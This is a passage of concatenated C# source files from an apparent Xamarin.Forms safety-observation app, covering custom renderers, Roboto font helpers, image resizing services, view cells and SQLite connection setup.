if (imagePath == null)
{
return;
}
if (clickedButtonParam == 1)
{
FirstGridImageSource = ImageSource.FromFile(imagePath.PathImage);
}
else if (clickedButtonParam == 2)
{
SecondGridImageSource = ImageSource.FromFile(imagePath.PathImage);
}
}
private async Task TakePhotoAsync()
{
var imagePath = await ImageServices.TakePhotoAsync();
if (imagePath == null)
{
return;
}
if (clickedButtonParam == 1)
{
FirstGridImageSource = ImageSource.FromFile(imagePath.PathImage);
}
else if (clickedButtonParam == 2)
{
SecondGridImageSource = ImageSource.FromFile(imagePath.PathImage);
}
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using UIKit;
using Xamarin.Forms;
namespace GSK_Saftey.iOS.CustomRenderers
{
public static class ControlExtensions
{
/// <summary>
/// Sets Roboto font style on entry. Only for FXB app.
/// </summary>
/// <param name="txt">UITextField on which will be applied font style.></param>
/// <param name="entry">The entry which is rendered.</param>
public static void SetFont(this UITextField UItxt, Entry entry)
{
var customTransparentEntry = entry as CustomEntry;
if (UItxt != null)
{
if (customTransparentEntry.isThin)
{
UItxt.Font = UIKit.UIFont.FromName("Roboto-Thin", (nfloat)entry.FontSize);
}
else
{
switch (UItxt.Font.FontDescriptor.Face)
{
case "Bold":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Bold", (nfloat)entry.FontSize);
break;
case "Regular":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)entry.FontSize);
break;
case "Italic":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Italic", (nfloat)entry.FontSize);
break;
default:
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)entry.FontSize);
break;
}
}
}
}
/// <summary>
/// Sets Roboto font style on entry. Only for FXB app.
/// </summary>
/// <param name="txt">UITextField on which will be applied font style.></param>
/// <param name="entry">The entry which is rendered.</param>
public static void SetFont(this UITextView UItxt, Editor entry)
{
var customEntry = entry as CustomEditor;
if (UItxt != null)
{
if (customEntry.IsThin)
{
UItxt.Font = UIKit.UIFont.FromName("Roboto-Thin", (nfloat)entry.FontSize);
}
else
{
switch (UItxt.Font.FontDescriptor.Face)
{
case "Bold":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Bold", (nfloat)entry.FontSize);
break;
case "Regular":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)entry.FontSize);
break;
case "Italic":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Italic", (nfloat)entry.FontSize);
break;
default:
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)entry.FontSize);
break;
}
}
}
}
/// <summary>
/// Sets Roboto font style on label. Only for FXB app.
/// </summary>
/// <param name="UIlbl">UILabel on which will be applied font style.</param>
/// <param name="label">The label which is rendered.</param>
public static void SetFont(this UILabel UIlbl, Label label)
{
var customLabel = label as CustomLabel;
if (UIlbl != null)
{
if (customLabel.IsThin)
{
UIlbl.Font = UIKit.UIFont.FromName("Roboto-Thin", (nfloat)label.FontSize);
}
else
{
switch (UIlbl.Font.FontDescriptor.Face)
{
case "Semibold":
UIlbl.Font = UIKit.UIFont.FromName("Roboto-Bold", (nfloat)label.FontSize);
break;
case "Regular":
UIlbl.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)label.FontSize);
break;
case "Italic":
UIlbl.Font = UIKit.UIFont.FromName("Roboto-Italic", (nfloat)label.FontSize);
break;
default:
UIlbl.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)label.FontSize);
break;
}
}
}
}
/// Sets Roboto font style and font size on picker. Only for FXB app.
/// </summary>
/// <param name="txt">UITextField on which will be applied font style.></param>
/// <param name="picker">The picker which is rendered.</param>
public static void SetFont(this UIButton UIbutton, CustomButton button)
{
if (UIbutton != null)
{
if (button.IsThin)
{
UIbutton.Font = UIKit.UIFont.FromName("Roboto-Thin", (nfloat)button.FontSize);
}
else
{
var ddd = (nfloat)button.FontSize;
switch (UIbutton.Font.FontDescriptor.Face)
{
case "Semibold":
UIbutton.Font = UIKit.UIFont.FromName("Roboto-Bold", (nfloat)button.FontSize);
break;
case "Regular":
UIbutton.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)button.FontSize);
break;
case "Italic":
UIbutton.Font = UIKit.UIFont.FromName("Roboto-Italic", (nfloat)button.FontSize);
break;
default:
UIbutton.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)button.FontSize);
break;
}
}
}
}
/// </summary>
/// <param name="txt">UITextField on which will be applied font style.></param>
/// <param name="picker">The picker which is rendered.</param>
public static void SetFont(this UITextField UItxt, CustomPicker picker)
{
if (UItxt != null)
{
if (picker.IsThin)
{
UItxt.Font = UIKit.UIFont.FromName("Roboto-Thin", (nfloat)picker.FontSize);
}
else
{
switch (UItxt.Font.FontDescriptor.Face)
{
case "Bold":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Bold", (nfloat)picker.FontSize);
break;
case "Regular":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)picker.FontSize);
break;
case "Italic":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Italic", (nfloat)picker.FontSize);
break;
default:
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)picker.FontSize);
break;
}
}
}
}
/// </summary>
/// <param name="txt">UITextField on which will be applied font style.></param>
/// <param name="picker">The picker which is rendered.</param>
public static void SetFont(this UITextField UItxt, CustomDatePicker picker)
{
if (UItxt != null)
{
if (picker.IsThin)
{
UItxt.Font = UIKit.UIFont.FromName("Roboto-Thin", (nfloat)picker.FontSize);
}
else
{
switch (UItxt.Font.FontDescriptor.Face)
{
case "Bold":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Bold", (nfloat)picker.FontSize);
break;
case "Regular":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)picker.FontSize);
break;
case "Italic":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Italic", (nfloat)picker.FontSize);
break;
default:
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)picker.FontSize);
break;
}
}
}
}
/// </summary>
/// <param name="txt">UITextField on which will be applied font style.></param>
/// <param name="picker">The picker which is rendered.</param>
public static void SetFont(this UITextField UItxt, CustomTimePicker picker)
{
if (UItxt != null)
{
if (picker.IsThin)
{
UItxt.Font = UIKit.UIFont.FromName("Roboto-Thin", (nfloat)picker.FontSize);
}
else
{
switch (UItxt.Font.FontDescriptor.Face)
{
case "Bold":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Bold", (nfloat)picker.FontSize);
break;
case "Regular":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)picker.FontSize);
break;
case "Italic":
UItxt.Font = UIKit.UIFont.FromName("Roboto-Italic", (nfloat)picker.FontSize);
break;
default:
UItxt.Font = UIKit.UIFont.FromName("Roboto-Light", (nfloat)picker.FontSize);
break;
}
}
}
}
/// <summary>
/// Reduce the font size so it will fit in the label's width on 1 line.
/// </summary>
/// <param name="label">Control on which will be applied the effect.</param>
public static void FitFontSize(this UILabel label)
{
if (label != null)
{
label.AdjustsFontSizeToFitWidth = true;
label.Lines = 1;
label.BaselineAdjustment = UIBaselineAdjustment.AlignCenters;
label.LineBreakMode = UILineBreakMode.Clip;
}
}
}
}
<file_sep>using Xamarin.Forms;
using Xamarin.Forms.PlatformConfiguration;
using Xamarin.Forms.PlatformConfiguration.iOSSpecific;
namespace XFBase.CustomUI
{
public class BasePage : ContentPage
{
protected double ScreenWidth { get; private set; }
protected double ScreenHeight { get; private set; }
public BasePage()
{
On<iOS>().SetUseSafeArea(true);
this.ScreenWidth = XFAppBase.ScreenSize.Width;
this.ScreenHeight = XFAppBase.ScreenSize.Height;
}
}
}
<file_sep>using System;
using System.ComponentModel;
using System.Runtime.CompilerServices;
using System.Threading.Tasks;
using System.Windows.Input;
using Acr.UserDialogs;
using GSK_Saftey.Enums;
using Xamarin.Forms;
using XFBase.ViewModels;
namespace GSK_Saftey.Pages
{
public class BaseViewModel : XFViewModel
{
private bool _isBusy = false;
public bool IsBusy
{
get { return _isBusy; }
set
{
_isBusy = value;
HandleLoading();
}
}
public BaseViewModel()
{
}
public void HandleLoading()
{
Device.BeginInvokeOnMainThread(() =>
{
if (IsBusy)
{
UserDialogs.Instance.Loading().Show();
}
else
{
UserDialogs.Instance.Loading().Hide();
}
});
}
public async Task<bool> AskQuestion(string question, string cancelText, string okText)
{
var config = new ConfirmConfig();
config.Message = question;
config.CancelText = cancelText;
config.OkText = okText;
return await UserDialogs.Instance.ConfirmAsync(config);
}
public void DisplayMessage(string message)
{
UserDialogs.Instance.Alert(message);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices.WindowsRuntime;
using Windows.Foundation;
using Windows.Foundation.Collections;
using Windows.Graphics.Display;
using Windows.UI.ViewManagement;
using Windows.UI.Xaml;
using Windows.UI.Xaml.Controls;
using Windows.UI.Xaml.Controls.Primitives;
using Windows.UI.Xaml.Data;
using Windows.UI.Xaml.Input;
using Windows.UI.Xaml.Media;
using Windows.UI.Xaml.Navigation;
// The Blank Page item template is documented at https://go.microsoft.com/fwlink/?LinkId=402352&clcid=0x409
namespace GSK_Saftey.UWP
{
/// <summary>
/// An empty page that can be used on its own or navigated to within a Frame.
/// </summary>
public sealed partial class MainPage
{
public MainPage()
{
this.InitializeComponent();
var bounds = ApplicationView.GetForCurrentView().VisibleBounds;
var scaleFactor = DisplayInformation.GetForCurrentView().RawPixelsPerViewPixel;
GSK_Saftey.App.ScreenSize = new Xamarin.Forms.Size(bounds.Width * scaleFactor, bounds.Height * scaleFactor);
LoadApplication(new GSK_Saftey.App());
}
}
}
<file_sep>using System;
using CoreGraphics;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.iOS.CustomRenderers;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(CustomPicker), typeof(CustomPickerRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class CustomPickerRenderer : PickerRenderer
{
public CustomPickerRenderer()
{
}
protected override void OnElementChanged(ElementChangedEventArgs<Picker> e)
{
base.OnElementChanged(e);
var element = (CustomPicker)this.Element;
if (this.Control != null && this.Element != null && !string.IsNullOrEmpty(element.Image))
{
var downarrow = UIImage.FromBundle(element.Image);
Control.RightViewMode = UITextFieldViewMode.Always;
Control.RightView = new UIImageView(downarrow);
}
Control.BorderStyle = UITextBorderStyle.None;
Control.LeftView = new UIView(new CGRect(0, 0, 10, 0));
Control.LeftViewMode = UITextFieldViewMode.Always;
if (element != null)
{
Control.SetFont(element);
}
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Settings;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.ContentViews
{
public class LabelVerticalView : CustomContentView
{
public LabelVerticalView(string labelText, View view)
{
var stackMain = new CustomStackLayout()
{
Spacing = 2,
VerticalOptions = LayoutOptions.Center
};
var label = new CustomLabel()
{
TextColor = AppSetting.Current.Colors.LabelsColors,
FontSize = AppSetting.Current.FontSize.Medium,
Text = labelText,
HorizontalOptions = LayoutOptions.Start,
VerticalTextAlignment = TextAlignment.End,
VerticalOptions = LayoutOptions.End,
};
stackMain.Children.Add(label);
stackMain.Children.Add(view);
Content = stackMain;
}
}
}
<file_sep>
using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Settings;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.ViewCells
{
public class SimpleTextViewCell : CustomViewCell
{
public SimpleTextViewCell()
{
var button = new CustomButton()
{
CornerRadius = 5,
BackgroundColor = Color.Transparent,
HorizontalOptions = LayoutOptions.FillAndExpand,
VerticalOptions = LayoutOptions.Center,
BorderColor = AppSetting.Current.Colors.OrangeColor,
TextColor = AppSetting.Current.Colors.OrangeColor,
FontSize = AppSetting.Current.FontSize.Medium,
BorderWidth = 1,
Margin = new Thickness(0, 5, 0, 5),
InputTransparent = true,
};
button.SetBinding(Button.TextProperty, ".");
View = button;
}
}
}
<file_sep>using System;
using Xamarin.Forms;
namespace GSK_Saftey.Settings.Constants
{
public static class Images
{
public static readonly string DownArrow = "arrow.png";
public static readonly string CancelImage = "cancel.png";
public static readonly string DeleteImage = "delete.png";
public static readonly string EditImage = "edit.png";
public static readonly string EmergencyImage = "emergency.png";
public static readonly string DeleteBlackImage = "delete_black.png";
public static readonly string EnterImage = "enter.png";
public static readonly string HistoryImage = "history.png";
public static readonly string HomeImage = "home.png";
public static readonly string EmptyImage = "image.png";
public static readonly string LogoImage = "logo.png";
public static readonly string NextImage = "next.png";
public static readonly string ObservationImage = "observation.png";
public static readonly string PhoneImage = "phone.png";
public static readonly string PreferencesImage = "preferences.png";
public static readonly string PreviewImage = "preview.png";
public static readonly string QuestionImage = "question.png";
public static readonly string RadionUncheckedImage = "radio.png";
public static readonly string RadioCheckedImage = "radio_checked.png";
public static readonly string SaveImage = "save.png";
public static readonly string SaveSmallImage = "save_small.png";
public static readonly string SavedImage = "saved.png";
public static readonly string SendImage = "send.png";
public static readonly string SendSmallImage = "send_small.png";
public static readonly string SuccessImage = "success.png";
public static readonly string UpArrow = "arrow_up.png";
public static readonly string RightArrow = "arrow_right.png";
}
}
<file_sep>using System;
using System.ComponentModel;
using Android.Content;
using Android.Graphics;
using GSK_Saftey.Droid.CustomRenderers;
using GSK_Saftey.Helpers.CustomControls;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
[assembly: ExportRenderer(typeof(CustomEntry), typeof(CustomEntryRenderer))]
namespace GSK_Saftey.Droid.CustomRenderers
{
public class CustomEntryRenderer : EntryRenderer
{
public CustomEntryRenderer(Context context) : base(context)
{
}
protected override void OnElementChanged(ElementChangedEventArgs<Entry> e)
{
base.OnElementChanged(e);
Control?.SetBackgroundColor(Android.Graphics.Color.Transparent);
}
protected override void OnElementPropertyChanged(object sender, PropertyChangedEventArgs e)
{
base.OnElementPropertyChanged(sender, e);
CustomEntry entry = (CustomEntry)sender;
if (entry.isThin == false)
{
Control.SetFont();
}
else
{
Typeface font = Typeface.CreateFromAsset(Android.App.Application.Context.Assets, "Roboto-Thin.ttf");
Control.Typeface = font;
}
if (Control != null)
{
PostInvalidate();
}
}
}
}
<file_sep>using System.Threading.Tasks;
using Xamarin.Forms;
namespace XFBase.ViewModels
{
public interface INavigationService
{
Page GetCurrentPage();
Task NavigateToAsync(ContentPage page);
void SetAsMainPage(ContentPage page);
void RemovePrevious();
void RemoveAllPages();
Task GoToMainPageAsync();
}
}
<file_sep>using System;
namespace GSK_Saftey.Helpers.PlatformServices.Images
{
public class ImagePath
{
public byte[] ImageByteArray { get; set; }
public string PathImage { get; set; }
}
}
<file_sep>using GSK_Saftey.Helpers.PlatformServices.Images;
using GSK_Saftey.UWP.PlatformServicesUWP.Images;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices.WindowsRuntime;
using System.Text;
using System.Threading.Tasks;
using Windows.Graphics.Imaging;
using Windows.Storage.Streams;
using Windows.UI.Xaml.Media.Imaging;
using Xamarin.Forms;
[assembly: Dependency(typeof(ResizeImageService))]
namespace GSK_Saftey.UWP.PlatformServicesUWP.Images
{
public class ResizeImageService : IResizeImage
{
public byte[] CompressImage(byte[] imageData, int quality)
{
throw new NotImplementedException();
}
public ImageData GetImageData(byte[] imageData)
{
throw new NotImplementedException();
}
public byte[] ResizeImage(byte[] imageData, float width, float height, int quality)
{
throw new NotImplementedException();
}
public async Task<byte[]> ResizeImageUWP(byte[] imageData, float width, float height, int quality)
{
byte[] resizedData;
using (var streamIn = new MemoryStream(imageData))
{
using (var imageStream = streamIn.AsRandomAccessStream())
{
var decoder = await BitmapDecoder.CreateAsync(imageStream);
var resizedStream = new InMemoryRandomAccessStream();
var encoder = await BitmapEncoder.CreateForTranscodingAsync(resizedStream, decoder);
encoder.BitmapTransform.InterpolationMode = BitmapInterpolationMode.Linear;
encoder.BitmapTransform.ScaledHeight = (uint)height;
encoder.BitmapTransform.ScaledWidth = (uint)width;
await encoder.FlushAsync();
resizedStream.Seek(0);
resizedData = new byte[resizedStream.Size];
await resizedStream.ReadAsync(resizedData.AsBuffer(), (uint)resizedStream.Size, InputStreamOptions.None);
}
}
return resizedData;
}
public async Task<ImageData> GetImageDataAsyncUWP(byte[] imageData)
{
using (InMemoryRandomAccessStream ms = new InMemoryRandomAccessStream())
{
// Writes the image byte array in an InMemoryRandomAccessStream
// that is needed to set the source of BitmapImage.
using (DataWriter writer = new DataWriter(ms.GetOutputStreamAt(0)))
{
writer.WriteBytes(imageData);
await writer.StoreAsync();
}
var image = new BitmapImage();
await image.SetSourceAsync(ms);
var imageRu = image;
var imgToReturn = new ImageData
{
Height = imageRu.PixelHeight,
Width = imageRu.PixelWidth,
Size = imageData.Length / 1024
};
return imgToReturn;
}
}
}
}
<file_sep>using System;
using System.Threading.Tasks;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.Models;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using GSK_Saftey.Settings.Constants;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.ViewCells
{
public class HistoryViewCell : CustomViewCell
{
CustomLabel labelDate, labelDescription;
CustomButton buttonPreview;
CustomStackLayout stackContent, stackLabels, stackButtons;
private SavedDraftsPageViewModel ViewModel { get; set; }
public HistoryViewCell(SavedDraftsPageViewModel viewModel)
{
this.ViewModel = viewModel;
#region Declarations
// Labels
labelDescription = CreateLabel(AppSetting.Current.Colors.FontBlueColor, AppSetting.Current.FontSize.Medium);
labelDescription.IsTwoLines = true;
labelDate = CreateLabel(AppSetting.Current.Colors.GrayBorderColor, AppSetting.Current.FontSize.Medium);
// Buttons
buttonPreview = CreateButton();
buttonPreview.Image = Images.PreviewImage;
buttonPreview.WidthRequest = ScreenWidth * 0.100;
buttonPreview.HorizontalOptions = LayoutOptions.End;
// Layouts
stackLabels = new CustomStackLayout();
stackLabels.WidthRequest = ScreenWidth * 0.650;
stackButtons = new CustomStackLayout();
stackButtons.Orientation = StackOrientation.Horizontal;
stackButtons.HorizontalOptions = LayoutOptions.End;
stackContent = new CustomStackLayout();
stackContent.Margin = new Thickness(0, ScreenHeight * 0.030, 0, ScreenHeight * 0.030);
stackContent.VerticalOptions = LayoutOptions.CenterAndExpand;
stackContent.WidthRequest = ScreenWidth * 0.900;
stackContent.Spacing = ScreenWidth * 0.150;
stackContent.Orientation = StackOrientation.Horizontal;
var stackMain = new CustomStackLayout();
stackMain.HorizontalOptions = LayoutOptions.Center;
var separator = CreateSeparator();
#endregion
#region Bindings
labelDate.SetBinding(Label.TextProperty, nameof(SavedDraftsModel.Date), stringFormat: AppResources.SentOn);
labelDescription.SetBinding(Label.TextProperty, nameof(SafetyObservation.Description));
buttonPreview.Clicked += async (sender, e) => await ButtonPreview_Clicked(sender, e);
#endregion
#region Fill Layouts
stackLabels.Children.Add(labelDescription);
stackLabels.Children.Add(labelDate);
stackButtons.Children.Add(buttonPreview);
stackContent.Children.Add(stackLabels);
stackContent.Children.Add(stackButtons);
stackMain.Children.Add(stackContent);
stackMain.Children.Add(separator);
View = stackMain;
#endregion
}
private async Task ButtonPreview_Clicked(object sender, EventArgs e)
{
var item = (SafetyObservation)this.BindingContext;
await ViewModel.PreviewSendDraft(item.ID, true);
}
private BoxView CreateSeparator()
{
var separatorLine = new BoxView()
{
BackgroundColor = AppSetting.Current.Colors.LabelsColors,
HeightRequest = 1,
VerticalOptions = LayoutOptions.Start,
HorizontalOptions = LayoutOptions.CenterAndExpand,
WidthRequest = ScreenWidth * 0.900,
};
return separatorLine;
}
private CustomLabel CreateLabel(Color textColor, double fontSize = 17)
{
var lbl = new CustomLabel
{
TextColor = textColor,
FontSize = fontSize,
IsTwoLines = true,
};
return lbl;
}
private CustomButton CreateButton(string text = null)
{
var btn = new CustomButton();
btn.Text = text;
btn.FontSize = AppSetting.Current.FontSize.Micro;
btn.FontAttributes = FontAttributes.Bold;
btn.VerticalOptions = LayoutOptions.Start;
btn.HeightRequest = ScreenHeight * 0.040;
btn.CornerRadius = 3;
btn.TextColor = AppSetting.Current.Colors.WhiteColor;
btn.BackgroundColor = Color.Transparent;
return btn;
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Xamarin.Forms;
using XFBase.CustomUI;
namespace GSK_Saftey.Pages.ContentViews
{
public class StepBarView : CustomContentView
{
public StepBarView(int step, int stepsCount = 7)
{
Init(step, stepsCount);
}
private void Init(int step, int stepsCount)
{
var stackMain = CreateStack();
for (int i = 1; i < stepsCount; i++)
{
if (i == 1)
{
var firstSepator = CreateSeparator();
firstSepator.WidthRequest = ScreenWidth * 0.040;
stackMain.Children.Add(firstSepator);
}
var backgroundColorBtn = AppSetting.Current.Colors.WhiteColor;
var buttonTextColor = AppSetting.Current.Colors.BlueStepBarBorderColor;
if (step >= i)
{
backgroundColorBtn = AppSetting.Current.Colors.BlueStepBarBorderColor;
buttonTextColor = AppSetting.Current.Colors.WhiteColor;
}
var buttonStep = CreateButton(i, backgroundColorBtn,buttonTextColor);
stackMain.Children.Add(buttonStep);
var separator = CreateSeparator();
if (i == stepsCount)
{
separator.WidthRequest = ScreenWidth * 0.040;
}
stackMain.Children.Add(separator);
}
this.Content = stackMain;
}
private StackLayout CreateStack()
{
var stackLayout = new StackLayout
{
Spacing = 0,
Orientation = StackOrientation.Horizontal,
HorizontalOptions = LayoutOptions.CenterAndExpand,
WidthRequest = ScreenWidth * 0.780
};
return stackLayout;
}
private CustomButton CreateButton(int text, Color backgroundColor,Color textColor)
{
var cornerRadius = ((ScreenWidth * 0.060) / 1.9);
var button = new CustomButton()
{
Text = text.ToString(),
TextColor = textColor,
FontAttributes = FontAttributes.Bold,
BorderWidth = 1,
BorderColor = AppSetting.Current.Colors.BlueStepBarBorderColor,
CornerRadius = (int)cornerRadius,
FontSize = AppSetting.Current.FontSize.Small,
BackgroundColor = backgroundColor,
HeightRequest = ScreenWidth * 0.060,
WidthRequest = ScreenWidth * 0.060,
};
if (Device.RuntimePlatform == Device.UWP)
{
button.IsEnabled = false;
}
return button;
}
private BoxView CreateSeparator()
{
var separatorLine = new BoxView()
{
BackgroundColor = AppSetting.Current.Colors.BlueStepBarBorderColor,
HeightRequest = 2,
VerticalOptions = LayoutOptions.Center,
WidthRequest = ScreenWidth * 0.068
};
return separatorLine;
}
private CustomGrid CreateGrid()
{
var gridLocal = new CustomGrid
{
HorizontalOptions = LayoutOptions.CenterAndExpand,
VerticalOptions = LayoutOptions.FillAndExpand,
RowDefinitions = {
new RowDefinition { Height = ScreenWidth * 0.060 },
new RowDefinition { Height = ScreenWidth * 0.020 },
},
ColumnDefinitions = {
new ColumnDefinition { Width = ScreenWidth * 0.060 },
new ColumnDefinition { Width = ScreenWidth * 0.080 },
new ColumnDefinition { Width = ScreenWidth * 0.060 },
new ColumnDefinition { Width = ScreenWidth * 0.080 },
new ColumnDefinition { Width = ScreenWidth * 0.060 },
new ColumnDefinition { Width = ScreenWidth * 0.080 },
new ColumnDefinition { Width = ScreenWidth * 0.060 },
new ColumnDefinition { Width = ScreenWidth * 0.080 },
new ColumnDefinition { Width = ScreenWidth * 0.060 },
new ColumnDefinition { Width = ScreenWidth * 0.080 },
new ColumnDefinition { Width = ScreenWidth * 0.060 },
}
};
return gridLocal;
}
}
}
<file_sep>using System;
namespace GSK_Saftey.Helpers.PlatformServices.Images
{
public class ImageData
{
public int Width { get; set; }
public int Height { get; set; }
public int Size { get; set; }
}
}
<file_sep>using System;
using System.ComponentModel;
using GSK_Saftey.Helpers.CustomControls;
using GSK_Saftey.iOS.CustomRenderers;
using UIKit;
using Xamarin.Forms;
using Xamarin.Forms.Platform.iOS;
[assembly: ExportRenderer(typeof(CustomLabel), typeof(CustomLabelRenderer))]
namespace GSK_Saftey.iOS.CustomRenderers
{
public class CustomLabelRenderer : LabelRenderer
{
protected override void OnElementChanged(ElementChangedEventArgs<Label> e)
{
base.OnElementChanged(e);
var customLabel = e.NewElement as CustomLabel;
if (customLabel != null && Control != null)
{
if (customLabel.IsTwoLines)
{
UILabel label = Control;
label.Lines = 2;
}
Control.SetFont(customLabel);
}
}
protected override void OnElementPropertyChanged(object sender, PropertyChangedEventArgs e)
{
base.OnElementPropertyChanged(sender, e);
var customLabel = (CustomLabel)sender;
if (customLabel != null && Control != null && e.PropertyName == "IsThinProperty")
{
Control.SetFont(customLabel);
}
}
}
}
<file_sep>using System;
using GSK_Saftey.Helpers.PlatformServices.Images;
using System.Drawing;
using UIKit;
using Xamarin.Forms;
using GSK_Saftey.iOS.PlatformServicesiOS.Images;
using System.Threading.Tasks;
using Foundation;
[assembly: Dependency(typeof(ResizeImageService))]
namespace GSK_Saftey.iOS.PlatformServicesiOS.Images
{
public class ResizeImageService : IResizeImage
{
public Task<byte[]> ResizeImageUWP(byte[] imageData, float width, float height, int quality)
{
throw new NotImplementedException();
}
public Task<ImageData> GetImageDataAsyncUWP(byte[] imageData)
{
throw new NotImplementedException();
}
public byte[] CompressImage(byte[] imageData, int quality)
{
UIImage originalImage = ImageFromByteArray(imageData);
var bytesImagen = originalImage.AsJPEG(quality / 100).ToArray();
originalImage.Dispose();
return bytesImagen;
}
public ImageData GetImageData(byte[] imageData)
{
// Load the bitmap
UIImage originalImage = ImageFromByteArray(imageData);
var result = new ImageData()
{
Width = (int)originalImage.Size.Width,
Height = (int)originalImage.Size.Height,
Size = imageData.Length / 1024,
};
originalImage.Dispose();
return result;
}
public byte[] ResizeImage(byte[] imageData, float width, float height, int quality)
{
UIImage originalImage = ImageFromByteArray(imageData);
var originalHeight = originalImage.Size.Height;
var originalWidth = originalImage.Size.Width;
nfloat newHeight = 0;
nfloat newWidth = 0;
if (originalHeight > originalWidth)
{
newHeight = height;
nfloat ratio = originalHeight / height;
newWidth = originalWidth / ratio;
}
else
{
newWidth = width;
nfloat ratio = originalWidth / width;
newHeight = originalHeight / ratio;
}
width = (float)newWidth;
height = (float)newHeight;
UIGraphics.BeginImageContext(new SizeF(width, height));
originalImage.Draw(new RectangleF(0, 0, width, height));
var resizedImage = UIGraphics.GetImageFromCurrentImageContext();
UIGraphics.EndImageContext();
var bytesImagen = resizedImage.AsJPEG(quality / 100).ToArray();
resizedImage.Dispose();
return bytesImagen;
}
private UIKit.UIImage ImageFromByteArray(byte[] data)
{
if (data == null)
return null;
return new UIKit.UIImage(Foundation.NSData.FromArray(data));
}
}
}
<file_sep>using SQLite;
namespace XFBase.SQLite
{
public interface ISQLiteConnection
{
SQLiteConnection GetConnection();
}
}
<file_sep>using System;
using Android.Content;
using Android.Graphics;
using GSK_Saftey.Droid.CustomRenderers;
using GSK_Saftey.Pages;
using Xamarin.Forms;
using Xamarin.Forms.Platform.Android;
using static Android.Provider.Settings;
using Color = Xamarin.Forms.Color;
[assembly: ExportRenderer(typeof(BasePage), typeof(BasePageRenderer))]
namespace GSK_Saftey.Droid.CustomRenderers
{
public class BasePageRenderer : PageRenderer
{
public Color StartColor { get; set; }
public Color EndColor { get; set; }
public BasePageRenderer(Context context) : base(context)
{
}
protected override void DispatchDraw(Canvas canvas)
{
base.DispatchDraw(canvas);
//var gradient = new Android.Graphics.LinearGradient(0, 0, 0, Height,
var gradient = new Android.Graphics.LinearGradient(0, 0, Width, 0,
this.StartColor.ToAndroid(),
this.EndColor.ToAndroid(),
Android.Graphics.Shader.TileMode.Mirror);
var paint = new Android.Graphics.Paint()
{
Dither = true,
};
paint.SetShader(gradient);
canvas.DrawPaint(paint);
base.DispatchDraw(canvas);
}
protected override void OnElementChanged(ElementChangedEventArgs<Page> e)
{
base.OnElementChanged(e);
if (e.OldElement != null || Element == null)
{
return;
}
try
{
var page = e.NewElement as BasePage;
this.StartColor = page.StartColor;
this.EndColor = page.EndColor;
}
catch (Exception ex)
{
System.Diagnostics.Debug.WriteLine("ERROR:", ex.Message);
}
}
}
}
<file_sep>using System;
namespace XFBase.Web
{
public class HttpBadRequestResponse
{
public string Message { get; set; }
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using SQLite;
using Windows.Storage;
using Xamarin.Forms;
using XFBase.SQLite;
[assembly: Dependency(typeof(GSK_Saftey.UWP.SQLiteDB.SQLiteUWP))]
namespace GSK_Saftey.UWP.SQLiteDB
{
public class SQLiteUWP : ISQLiteConnection
{
public SQLiteConnection GetConnection()
{
var filename = "GSKDatabase.db3";
var documentspath = ApplicationData.Current.LocalFolder.Path;
var path = Path.Combine(documentspath, filename);
SQLiteConnection connection = new SQLiteConnection(path);
return connection;
}
}
}
<file_sep>using System;
using System.Threading.Tasks;
using System.Windows.Input;
using GSK_Saftey.Helpers.SQLite.SQLiteModels;
using GSK_Saftey.Pages.PopUps;
using GSK_Saftey.Resources;
using GSK_Saftey.Settings;
using Rg.Plugins.Popup.Services;
using Xamarin.Forms;
namespace GSK_Saftey.Pages
{
public class PreviewPageViewModel : BaseViewModel
{
#region Properties
private string date;
private string time;
private string witness;
private string name;
private string administrativeArea;
private string description;
private string proposeActions;
private ImageSource imageSource1;
private ImageSource imageSource2;
private bool canICloseSituation = false;
private SafetyObservation safetyObservation;
private bool isNameVissible = false;
private bool isImageLabelVissible = false;
private bool isFirstImageVissible = false;
private bool isSecondImageVissible = false;
private bool isDescriptionVissible = false;
private bool isProposeActionVissible = false;
public bool IsProposeActionVissible
{
get { return isProposeActionVissible; }
set
{
if (isProposeActionVissible != value)
{
